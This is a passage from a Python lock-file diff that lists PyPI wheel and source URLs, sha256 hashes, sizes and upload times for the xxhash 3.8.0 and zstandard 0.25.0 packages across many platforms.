"https://files.pythonhosted.org/packages/76/0c/90aba4708a37fe752b324a7cbf10058eaa33e892cdd62751ff17a5137b93/xxhash-3.8.0-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c2853dea1e30ed00ca87dd87d76da5da063d302b823b3fb80ccd18421de0f251", size = 319583, upload-time = "2026-06-27T08:14:36.419Z" }, + { url = "https://files.pythonhosted.org/packages/38/46/42e349e2d3017b2688f4cb301742c37c438e77963e3fef711edce2fc5c65/xxhash-3.8.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:82f0102a2a3760287b7cd7f9e0a30edd4c3b18762ed1a242208d43c8e2bcf30b", size = 246000, upload-time = "2026-06-27T08:14:38.104Z" }, + { url = "https://files.pythonhosted.org/packages/ee/15/741b947ae3c768e82018c46846f8616f6aa9b5042649f318a1a6897defe3/xxhash-3.8.0-cp313-cp313t-musllinux_1_2_armv7l.whl", hash = "sha256:b8414a66a7524596d841cad5dc1adab6ce76848db5ab2b83db911fbdab1417af", size = 275455, upload-time = "2026-06-27T08:14:39.841Z" }, + { url = "https://files.pythonhosted.org/packages/c6/b4/a9db84c9458fc8f53eaf0051377d1e9eecd9f330fb1225640027417a309d/xxhash-3.8.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:0dbaa73df10414ea1e41b98691a9d8241d4c47ad8d02c726587a3cda05278e53", size = 231209, upload-time = "2026-06-27T08:14:41.543Z" }, + { url = "https://files.pythonhosted.org/packages/20/92/60a868cd34851746d0b0d95dced0f42867c7c00606f6e5dba85b70b232ce/xxhash-3.8.0-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:43fc9aaba10ab4267c90793601f60d35c3c9caa1544eceb483618a71ad9ce7da", size = 250416, upload-time = "2026-06-27T08:14:43.193Z" }, + { url = "https://files.pythonhosted.org/packages/7a/6a/168ca46a4679c32aae9246caa1fddf35981d6304487e45e992b3d4530324/xxhash-3.8.0-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:ec5eb3d28fbb9802c6d2526f772133a06c91d6f03756fcc67c834b642ffdd51d", size = 309764, upload-time = "2026-06-27T08:14:44.79Z" }, + { url = "https://files.pythonhosted.org/packages/18/0b/13646b348c07679c818791ab2d35415db5cb20f3bc77daaa255909a401b4/xxhash-3.8.0-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:2b77c301b644cd9b4d0749a3291081ec2048a6bef7fe0487c993bbba3efb9ce0", size = 448650, upload-time = "2026-06-27T08:14:46.562Z" }, + { url = "https://files.pythonhosted.org/packages/59/9a/3d244b2acf6bbd86a363817ee09084b4684e8e11840663e19869e9e0d952/xxhash-3.8.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:d7ece11a132325353890a144c30119073617a1299c593ca29b96c315b07e1edd", size = 223572, upload-time = "2026-06-27T08:14:48.294Z" }, + { url = "https://files.pythonhosted.org/packages/6f/c7/143410d026a6e0d86dc69037ec2a3b8db810a54e7f443b340ac17612be2e/xxhash-3.8.0-cp313-cp313t-win32.whl", hash = "sha256:b21db84df7b9d54d9e4195a964243c1b32d745c6fbc0cfcfffee1d4bd297196a", size = 32301, upload-time = "2026-06-27T08:14:49.687Z" }, + { url = "https://files.pythonhosted.org/packages/6c/db/2240b0638161637b2f310231748a7a6a06c79fb43a3adb34c96f359762bf/xxhash-3.8.0-cp313-cp313t-win_amd64.whl", hash = "sha256:0643b7d9f598f6da6f1f6b899f4358250d0fb853242e2d712cbde27bf5a99d29", size = 33221, upload-time = "2026-06-27T08:14:51.404Z" }, + { url = "https://files.pythonhosted.org/packages/e0/d8/52038e4fa5baf4f00654a225516168d02908edfec7ca104fbefc58af394f/xxhash-3.8.0-cp313-cp313t-win_arm64.whl", hash = "sha256:4bbacf2e938526969f8ab3334d4ac3da14ea059e1dfd1339a92f9091467e750f", size = 29294, upload-time = "2026-06-27T08:14:52.778Z" }, + { url = "https://files.pythonhosted.org/packages/e5/ef/a09907aa28bdcdf6810d5c26656b154c60c0f06bb8db8442a1192d9c227a/xxhash-3.8.0-cp314-cp314-android_24_arm64_v8a.whl", hash = "sha256:557e2a7cc0b6a634cf9c8e5c975d96b7da796fdeb1824569d760cf0f25b6f33f", size = 38365, upload-time = "2026-06-27T08:14:54.166Z" }, + { url = "https://files.pythonhosted.org/packages/d2/4d/d991ff77bc489c2231025e64e570502156d573c7bff69c917589cc307089/xxhash-3.8.0-cp314-cp314-android_24_x86_64.whl", hash = "sha256:dad744d1613cbfddb844dad93adbffbd51c3e9f53ceea9568f7c3b94bedc19a4", size = 36477, upload-time = "2026-06-27T08:14:55.427Z" }, + { url = "https://files.pythonhosted.org/packages/cc/0e/553eab001f1e274da73da074968cdc8be8cacfb318937ab9871b8e1909cb/xxhash-3.8.0-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:953f29b22c04b123cf3cd2e08bccde3a73184aeda5a1038e0054cb3355644120", size = 31116, upload-time = "2026-06-27T08:14:56.897Z" }, + { url = "https://files.pythonhosted.org/packages/55/d5/d0f4dbe7b4d9ce0125f16e45ec0be5e04f6a172edb4e2fa551c4f2eb5d7a/xxhash-3.8.0-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:aa699e0253ceffecf41cae858d0a11f2439d6874a0890b556387bffe11dc1c08", size = 32112, upload-time = "2026-06-27T08:14:58.126Z" }, + { url = "https://files.pythonhosted.org/packages/2e/2f/b332c7bede6a676343f2c9c8dea233c8c82753eaeda6f7a2c321d8c58ca3/xxhash-3.8.0-cp314-cp314-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:e232c82466babc13e956d53aa84d0149660ed6886bc195248bb4d03bf2eca301", size = 34618, upload-time = "2026-06-27T08:14:59.458Z" }, + { url = "https://files.pythonhosted.org/packages/b3/5b/2bf3c9e61c7cf8f53bce937af45e22b72bb1f224d5afb20352beba0d628d/xxhash-3.8.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:7f75fd1c6a5028f345cd4a8c52f4774d2e5b7809fa58111c60a5502b528914a4", size = 34739, upload-time = "2026-06-27T08:15:00.863Z" }, + { url = "https://files.pythonhosted.org/packages/64/b6/e88521f5736c181b89bfb7ab756f0ca658a8a1ecece7277b75e167717614/xxhash-3.8.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:b49d7e09b211a1ad658dbe2dbf6561eb92f2e6926bd1101e2d023178371f2d6f", size = 32332, upload-time = "2026-06-27T08:15:02.383Z" }, + { url = "https://files.pythonhosted.org/packages/ed/a2/fba440739fa5f86d2c28738c202e88d3dd063290c8bbb20e183c5334456a/xxhash-3.8.0-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:ceb702bc8e56b7f1f1413d42aa294045b9a0e4c9888e07edc5cd153e8c4c948f", size = 220479, upload-time = "2026-06-27T08:15:03.785Z" }, + { url = "https://files.pythonhosted.org/packages/2c/1c/4a1639efec16416695d6c7bc6b224d3f607e0b8cbe2409fa81081a849d1c/xxhash-3.8.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b4f3c96e06bdb122e8cc84f5c7088579f3102b828efd62e9dc964a9d17c7b89e", size = 241409, upload-time = "2026-06-27T08:15:05.439Z" }, + { url = "https://files.pythonhosted.org/packages/92/d1/8ce471f8d6752384f972fd5f6363f2e8d8b867a89fbd724c6dbd91d2bb98/xxhash-3.8.0-cp314-cp314-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:415a8d06ac9bea36b1e06b603a347e0f62401042a97d7bfccec8ae2da12ad784", size = 264433, upload-time = "2026-06-27T08:15:07.027Z" }, + { url = "https://files.pythonhosted.org/packages/95/77/400a281683fd39c54e2ac497fa67bdf886baaadb8c0ba58f7e1ea1d7692e/xxhash-3.8.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:7f5ccdd2deb5dce31201cc0eec94388cce97e681429073db50903fab0a0a8a0d", size = 242835, upload-time = "2026-06-27T08:15:08.703Z" }, + { url = "https://files.pythonhosted.org/packages/aa/a6/edda651cfa0ba8e921791e93468fae655b63894d89730fcbfe46704f0d0a/xxhash-3.8.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:1a6cf81bc699d3a5ebfcf2fdb2a7bd2e096708d7de193f6f322944a02ba00953", size = 473800, upload-time = "2026-06-27T08:15:10.503Z" }, + { url = "https://files.pythonhosted.org/packages/dd/da/50f764ec6a93d3961fce294567e41bfca0e66d168deed354a3dc90ebeba6/xxhash-3.8.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e4d12a04d7ffc0359f0eadc4535a53cab113044c8d2f262c7e9a56950a5ed50e", size = 220677, upload-time = "2026-06-27T08:15:12.622Z" }, + { url = "https://files.pythonhosted.org/packages/bb/49/9fe4ed5aac6f38629cc83b34f84748b83ad8295a578ec6a49d8bf896cafb/xxhash-3.8.0-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d209373fcb66138c652cf843385ee60866e50158a7869bbbf8b322d9a822b765", size = 310385, upload-time = "2026-06-27T08:15:14.384Z" }, + { url = "https://files.pythonhosted.org/packages/83/f5/1147e03c0553ed22bbae9ce47503c37ee0c5f95592aae10f339c25f61de9/xxhash-3.8.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:b88a3fe28277811e599efa6e1c96abce8a77d60dd79c94da7a9b5c377c172b7b", size = 238330, upload-time = "2026-06-27T08:15:16.201Z" }, + { url = "https://files.pythonhosted.org/packages/b8/d8/92daf66c1966c84da5c97a06ced1480208d3a3bd465cb0630565ec00d1b9/xxhash-3.8.0-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:5d5a888a5ef997cb35f1aad346eb861cd87ecfe24f5e25d5aa4c9fd1bd3950c2", size = 268667, upload-time = "2026-06-27T08:15:18.064Z" }, + { url = "https://files.pythonhosted.org/packages/bd/c0/080c1a92972667e183c04b03f33c877f8ec61cfa3570e61731077286648d/xxhash-3.8.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:de2836e0329c01555957a603dcd113c337c577081153d691c12a51c5be3282b0", size = 224934, upload-time = "2026-06-27T08:15:19.972Z" }, + { url = "https://files.pythonhosted.org/packages/d9/d5/cbc4e5b2bee10c94cba05b5bb2b8033e7ef44ae742583fdafcd9188e33ed/xxhash-3.8.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:4bc74eedb0dd5827b3be748bacf9fdb50004037a3e16c7ddb5defae2682cef71", size = 240870, upload-time = "2026-06-27T08:15:22.04Z" }, + { url = "https://files.pythonhosted.org/packages/76/f7/09679b00e192b741b65c230440c4f7e6df3251a9ad427a518ddf262ec71a/xxhash-3.8.0-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:c571b03d59e339b010dc84f15a6f1cff80212f3a3116c2a71e2303c95065b1f6", size = 300683, upload-time = "2026-06-27T08:15:23.647Z" }, + { url = "https://files.pythonhosted.org/packages/5f/1b/f43ec36e8c6a20c77be0bcca23f0b133ed8a0312681500d1676eebd71924/xxhash-3.8.0-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:87626acdd6e2d762c588a4ffe94258c5ef34fb6049a4a3b25019bdb7f9267a9b", size = 443407, upload-time = "2026-06-27T08:15:25.504Z" }, + { url = "https://files.pythonhosted.org/packages/45/2e/a3e3a779c5e4789daf975e05cc1c7f11bae724a03855120029d4592c8e63/xxhash-3.8.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:076d8a4fb290af952826922aa42a46bfc64caa31662ce4e2925a445d0e6ce57f", size = 217559, upload-time = "2026-06-27T08:15:27.234Z" }, + { url = "https://files.pythonhosted.org/packages/44/da/1c1e078ac290afff304a541a2a60965beb369ad65b4f30ec93ea1e0b7210/xxhash-3.8.0-cp314-cp314-win32.whl", hash = "sha256:52f8c7c9833d947e60df830671f6eca810d7c667051243985a561c79f1a3d545", size = 32602, upload-time = "2026-06-27T08:15:28.809Z" }, + { url = "https://files.pythonhosted.org/packages/d7/7a/d455cb83d5e3c94046234294fb5dbbe5da600d1bbdf76b9527756920cce9/xxhash-3.8.0-cp314-cp314-win_amd64.whl", hash = "sha256:4fbfcb7dd307e23189a71050f6e27746926590330f37d5fd2ffcb8ea78de1f42", size = 33393, upload-time = "2026-06-27T08:15:30.166Z" }, + { url = "https://files.pythonhosted.org/packages/89/8f/1b14471f617bc96edbb9566099a162d918a981381c398114726cc600b76c/xxhash-3.8.0-cp314-cp314-win_arm64.whl", hash = "sha256:ecef1e65b4715c7326002073763fe94cc44c756a0698508abb915ab3d6be6e3d", size = 30007, upload-time = "2026-06-27T08:15:31.634Z" }, + { url = "https://files.pythonhosted.org/packages/11/8d/51ad2f9f784121c8057ef1ba36362f58d4595cbcad16322941f5b73eb53d/xxhash-3.8.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:02ed856a765cb6e006168595d9455ac8c3c4d60cc04cd47a158a1ac677d68f0f", size = 34957, upload-time = "2026-06-27T08:15:33.292Z" }, + { url = "https://files.pythonhosted.org/packages/1b/14/175c573ae4fac48bf21a82e5b9ceec75d64c520c51ca08de3105de539438/xxhash-3.8.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:eec30461a7b457611098ba7ab09363e36c8b2645b4687fb6f3d405bb646e3410", size = 32635, upload-time = "2026-06-27T08:15:34.766Z" }, + { url = "https://files.pythonhosted.org/packages/96/08/f83efabd350a50c31c851b88891e318a6f07bdbf40a43d0f7bb6cedade7f/xxhash-3.8.0-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:b471744912d1ce5dd6d3975b7525e77518359ebf3aa1bd7d501e199f5ae488ea", size = 225969, upload-time = "2026-06-27T08:15:36.35Z" }, + { url = "https://files.pythonhosted.org/packages/7c/78/2b6d12da9cf572c84d93b88ecbf9bf6539a7c5219bde128b214396b97c8b/xxhash-3.8.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3748d71202bf3f279e77cb8b273b6d0f29d1bcaefb6ce6cb03b95f358863ba37", size = 249851, upload-time = "2026-06-27T08:15:38.087Z" }, + { url = "https://files.pythonhosted.org/packages/d0/0a/755eeb1882634983b24e6375a95ed233228dc48f0ef12655388bf3c7eeaf/xxhash-3.8.0-cp314-cp314t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:3b3bf59ea94b2a23b0f992769804ab9401d5cdcd9df0062fe2cd78a491ae8851", size = 274842, upload-time = "2026-06-27T08:15:39.808Z" }, + { url = "https://files.pythonhosted.org/packages/77/f2/09b1231cad17c314e51664c4a004c919108ec59aba10f9a28fa061e7b8be/xxhash-3.8.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:40f061aa5379eba249e9367b179515571e632be6d1b6f55ac139e6fe3d08463c", size = 252218, upload-time = "2026-06-27T08:15:42.105Z" }, + { url = "https://files.pythonhosted.org/packages/b2/24/de756d55547953494eb6775aea92e258035647b3ecb8547618cd549001e1/xxhash-3.8.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:680d70896a61fc920cc717a0a8fe8a9fb5858c563184666e31874caa54a16d9e", size = 482135, upload-time = "2026-06-27T08:15:44.476Z" }, + { url = "https://files.pythonhosted.org/packages/e5/63/b8147633e32f98ef2b4bb0dfca82f0f63e2b02ff179f20664af64c4216a7/xxhash-3.8.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:14973fbdee136588e57447401b521f466a42faca41eecdf35123c73103512ca8", size = 226776, upload-time = "2026-06-27T08:15:46.597Z" }, + { url = "https://files.pythonhosted.org/packages/29/37/ba051d8f0380d3cf845b23ba058a17d32025846463eb6bf885887fc8effe/xxhash-3.8.0-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:96c6bca2486cdc58b125966817a92a6abe6ef1fab86b2f8798a7e93488782540", size = 319738, upload-time = "2026-06-27T08:15:48.394Z" }, + { url = "https://files.pythonhosted.org/packages/4f/6f/36e0a27dd27ffa3f7b521650cbcd52a00fb86b71343ffadb642374e8263c/xxhash-3.8.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:0b1109ae238e932d8482f9cb568b56a405cc73bc7a36b837844087f1298dd218", size = 246136, upload-time = "2026-06-27T08:15:50.981Z" }, + { url = "https://files.pythonhosted.org/packages/fe/73/2663dbf4c09386a9dcc8a94d7a14b4609ed4bad8180ced5b848e60a9b660/xxhash-3.8.0-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:1da5db0863400eade7c5a31969754d1392189f26b4105f6631da2c6c7ea3bccc", size = 275568, upload-time = "2026-06-27T08:15:52.735Z" }, + { url = "https://files.pythonhosted.org/packages/d6/58/f3ce1bc3bb3971191f6521273ddae98d3c610bcefbbed5327c3b3627c12f/xxhash-3.8.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:c61b5a0f21ace5e886f177cce43826d85a7c84e35a9e17cb6d1b4ac0b7a7d833", size = 231314, upload-time = "2026-06-27T08:15:54.73Z" }, + { url = "https://files.pythonhosted.org/packages/4d/51/835706a36cdc00e5b638fba9b22218b3d40d23a7677c923feca8a3f55b98/xxhash-3.8.0-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:1db4f27835a450c7e729bc9330c6e702113711cea1f873d646e3a31fe96a9732", size = 250521, upload-time = "2026-06-27T08:15:56.853Z" }, + { url = "https://files.pythonhosted.org/packages/c1/47/b0b62caa3caee58ab9de8969f66aef1c3729886f3ff60e173fda3f2762be/xxhash-3.8.0-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:4788a470f946df34383abc6cd345088c13f897a5ee580c4cdd12b1d32ad218ef", size = 309926, upload-time = "2026-06-27T08:15:58.704Z" }, + { url = "https://files.pythonhosted.org/packages/69/c4/60e6d18a0e131c7af622374af9deede15d3c47d8e5e7221933481b57b319/xxhash-3.8.0-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:3b6dfa83096cb1e54d082acebaf67f0c42667c56dc48ba536a76cac08d46391e", size = 448812, upload-time = "2026-06-27T08:16:00.619Z" }, + { url = "https://files.pythonhosted.org/packages/12/9f/c9627daa052be39a932d0e17c6bf6a9041d2cde3afacbded9196acf70261/xxhash-3.8.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:57ec0ba5299a9a7df376063c139f5826ff0c89b438703939af3d252c31ca96a4", size = 223639, upload-time = "2026-06-27T08:16:02.784Z" }, + { url = "https://files.pythonhosted.org/packages/a9/38/92916e008a84c1f1a9aef82e4363cdc478a722ff69e59c6afbf93d3d1fda/xxhash-3.8.0-cp314-cp314t-win32.whl", hash = "sha256:d9a61f23b999baeb84102aba767b1b3e94958eab94e6c11b08927e7dc4200795", size = 33078, upload-time = "2026-06-27T08:16:04.639Z" }, + { url = "https://files.pythonhosted.org/packages/31/7c/e413bc75121d9628bf023b2ed251411ca3a447cf00cd9aa3438ab17f6c67/xxhash-3.8.0-cp314-cp314t-win_amd64.whl", hash = "sha256:61069b260fff84116235bb93845f319284dc6b42527c215af59264f4c2ee3468", size = 33953, upload-time = "2026-06-27T08:16:06.347Z" }, + { url = "https://files.pythonhosted.org/packages/f6/eb/21a96e218375bd8b6ecd6d07cf60c8ff1a046e93cdedc3cf7bc3309edf7b/xxhash-3.8.0-cp314-cp314t-win_arm64.whl", hash = "sha256:73cecd431b4f572d38fcf1a7fe85b30eb987778ef9e7a70bc9ffcf2d64810e6f", size = 30164, upload-time = "2026-06-27T08:16:08.009Z" }, + { url = "https://files.pythonhosted.org/packages/96/84/9bb3cc67475ac7678476b30eed2f1140431f06386d637534194037c0624f/xxhash-3.8.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:ba14843f20df2dce6ff6684411a56ae53da44336546c55f8947e70aebb8cdd21", size = 32604, upload-time = "2026-06-27T08:17:19.291Z" }, + { url = "https://files.pythonhosted.org/packages/42/6d/e98f9dd62c89e8895e4f3b525b6dbc3efcf27e2b99800e51388c59eb96dd/xxhash-3.8.0-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:ec6666a5311beae3f6cb5f2fd28c2b77e2df32702c8206f45c786a6ef81b3751", size = 29787, upload-time = "2026-06-27T08:17:21.001Z" }, + { url = "https://files.pythonhosted.org/packages/db/51/e7844a65c62d6d78747e4d149508d65a3df6fb65d72322c2526789e9f600/xxhash-3.8.0-pp311-pypy311_pp73-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:1ec9afdd53ac5f4fd1d8918807ba6c35ba62269086af794884b9f168a73331ea", size = 43155, upload-time = "2026-06-27T08:17:22.721Z" }, + { url = "https://files.pythonhosted.org/packages/3f/5d/652c47481053fabc33ea229540bd330a45f68d7a5277f45e6cf879c29965/xxhash-3.8.0-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:68594a54be2eb5992d9b0d0a0ec7c32a7a8e930f06d6cb951d69708055680994", size = 38137, upload-time = "2026-06-27T08:17:24.295Z" }, + { url = "https://files.pythonhosted.org/packages/7d/a5/7b6e961a03ee713cbdbaa3d2cf3ddd33453a4d4112bbde58f2f607ab64d2/xxhash-3.8.0-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:591d5eb256abf59438800ace2730ac33f77bc6ab8c3623fab1ea24d9d8b28f3a", size = 34376, upload-time = "2026-06-27T08:17:25.688Z" }, + { url = "https://files.pythonhosted.org/packages/da/aa/95d36393bf732df516a2dcf4fd7e9e851bc033a5970e30774b972137f4da/xxhash-3.8.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:7f4eecf800275e62b6bcb41e65f361f2277cc886c2bff4e299959d701e5fcf93", size = 32798, upload-time = "2026-06-27T08:17:27.188Z" }, +] + +[[package]] +name = "zstandard" +version = "0.25.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/fd/aa/3e0508d5a5dd96529cdc5a97011299056e14c6505b678fd58938792794b1/zstandard-0.25.0.tar.gz", hash = "sha256:7713e1179d162cf5c7906da876ec2ccb9c3a9dcbdffef0cc7f70c3667a205f0b", size = 711513, upload-time = "2025-09-14T22:15:54.002Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/56/7a/28efd1d371f1acd037ac64ed1c5e2b41514a6cc937dd6ab6a13ab9f0702f/zstandard-0.25.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:e59fdc271772f6686e01e1b3b74537259800f57e24280be3f29c8a0deb1904dd", size = 795256, upload-time = "2025-09-14T22:15:56.415Z" }, + { url = "https://files.pythonhosted.org/packages/96/34/ef34ef77f1ee38fc8e4f9775217a613b452916e633c4f1d98f31db52c4a5/zstandard-0.25.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:4d441506e9b372386a5271c64125f72d5df6d2a8e8a2a45a0ae09b03cb781ef7", size = 640565, upload-time = "2025-09-14T22:15:58.177Z" }, + { url = "https://files.pythonhosted.org/packages/9d/1b/4fdb2c12eb58f31f28c4d28e8dc36611dd7205df8452e63f52fb6261d13e/zstandard-0.25.0-cp310-cp310-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:ab85470ab54c2cb96e176f40342d9ed41e58ca5733be6a893b730e7af9c40550", size = 5345306, upload-time = "2025-09-14T22:16:00.165Z" }, + { url = "https://files.pythonhosted.org/packages/73/28/a44bdece01bca027b079f0e00be3b6bd89a4df180071da59a3dd7381665b/zstandard-0.25.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:e05ab82ea7753354bb054b92e2f288afb750e6b439ff6ca78af52939ebbc476d", size = 5055561, upload-time = "2025-09-14T22:16:02.22Z" }, + { url = "https://files.pythonhosted.org/packages/e9/74/68341185a4f32b274e0fc3410d5ad0750497e1acc20bd0f5b5f64ce17785/zstandard-0.25.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:78228d8a6a1c177a96b94f7e2e8d012c55f9c760761980da16ae7546a15a8e9b", size = 5402214, upload-time = "2025-09-14T22:16:04.109Z" }, + { url = "https://files.pythonhosted.org/packages/8b/67/f92e64e748fd6aaffe01e2b75a083c0c4fd27abe1c8747fee4555fcee7dd/zstandard-0.25.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:2b6bd67528ee8b5c5f10255735abc21aa106931f0dbaf297c7be0c886353c3d0", size = 5449703, upload-time = "2025-09-14T22:16:06.312Z" }, + { url = "https://files.pythonhosted.org/packages/fd/e5/6d36f92a197c3c17729a2125e29c169f460538a7d939a27eaaa6dcfcba8e/zstandard-0.25.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:4b6d83057e713ff235a12e73916b6d356e3084fd3d14ced499d84240f3eecee0", size = 5556583, upload-time = "2025-09-14T22:16:08.457Z" }, + { url = "https://files.pythonhosted.org/packages/d7/83/41939e60d8d7ebfe2b747be022d0806953799140a702b90ffe214d557638/zstandard-0.25.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:9174f4ed06f790a6869b41cba05b43eeb9a35f8993c4422ab853b705e8112bbd", size = 5045332, upload-time = "2025-09-14T22:16:10.444Z" }, + { url = "https://files.pythonhosted.org/packages/b3/87/d3ee185e3d1aa0133399893697ae91f221fda79deb61adbe998a7235c43f/zstandard-0.25.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:25f8f3cd45087d089aef5ba3848cd9efe3ad41163d3400862fb42f81a3a46701", size = 5572283, upload-time = "2025-09-14T22:16:12.128Z" }, + { url = "https://files.pythonhosted.org/packages/0a/1d/58635ae6104df96671076ac7d4ae7816838ce7debd94aecf83e30b7121b0/zstandard-0.25.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:3756b3e9da9b83da1796f8809dd57cb024f838b9eeafde28f3cb472012797ac1", size = 4959754, upload-time = "2025-09-14T22:16:14.225Z" }, + { url = "https://files.pythonhosted.org/packages/75/d6/57e9cb0a9983e9a229dd8fd2e6e96593ef2aa82a3907188436f22b111ccd/zstandard-0.25.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:81dad8d145d8fd981b2962b686b2241d3a1ea07733e76a2f15435dfb7fb60150", size = 5266477, upload-time = "2025-09-14T22:16:16.343Z" }, + { url = "https://files.pythonhosted.org/packages/d1/a9/ee891e5edf33a6ebce0a028726f0bbd8567effe20fe3d5808c42323e8542/zstandard-0.25.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:a5a419712cf88862a45a23def0ae063686db3d324cec7edbe40509d1a79a0aab", size = 5440914, upload-time = "2025-09-14T22:16:18.453Z" }, + { url = "https://files.pythonhosted.org/packages/58/08/a8522c28c08031a9521f27abc6f78dbdee7312a7463dd2cfc658b813323b/zstandard-0.25.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:e7360eae90809efd19b886e59a09dad07da4ca9ba096752e61a2e03c8aca188e", size = 5819847, upload-time = "2025-09-14T22:16:20.559Z" }, + { url = "https://files.pythonhosted.org/packages/6f/11/4c91411805c3f7b6f31c60e78ce347ca48f6f16d552fc659af6ec3b73202/zstandard-0.25.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:75ffc32a569fb049499e63ce68c743155477610532da1eb38e7f24bf7cd29e74", size = 5363131, upload-time = "2025-09-14T22:16:22.206Z" }, + { url = "https://files.pythonhosted.org/packages/ef/d6/8c4bd38a3b24c4c7676a7a3d8de85d6ee7a983602a734b9f9cdefb04a5d6/zstandard-0.25.0-cp310-cp310-win32.whl", hash = "sha256:106281ae350e494f4ac8a80470e66d1fe27e497052c8d9c3b95dc4cf1ade81aa", size = 436469, upload-time = "2025-09-14T22:16:25.002Z" }, + { url = "https://files.pythonhosted.org/packages/93/90/96d50ad417a8ace5f841b3228e93d1bb13e6ad356737f42e2dde30d8bd68/zstandard-0.25.0-cp310-cp310-win_amd64.whl", hash = "sha256:ea9d54cc3d8064260114a0bbf3479fc4a98b21dffc89b3459edd506b69262f6e", size = 506100, upload-time = "2025-09-14T22:16:23.569Z" }, + { url = "https://files.pythonhosted.org/packages/2a/83/c3ca27c363d104980f1c9cee1101cc8ba724ac8c28a033ede6aab89585b1/zstandard-0.25.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:933b65d7680ea337180733cf9e87293cc5500cc0eb3fc8769f4d3c88d724ec5c", size = 795254, upload-time = "2025-09-14T22:16:26.137Z" }, + { url = "https://files.pythonhosted.org/packages/ac/4d/e66465c5411a7cf4866aeadc7d108081d8ceba9bc7abe6b14aa21c671ec3/zstandard-0.25.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:a3f79487c687b1fc69f19e487cd949bf3aae653d181dfb5fde3bf6d18894706f", size = 640559, upload-time = 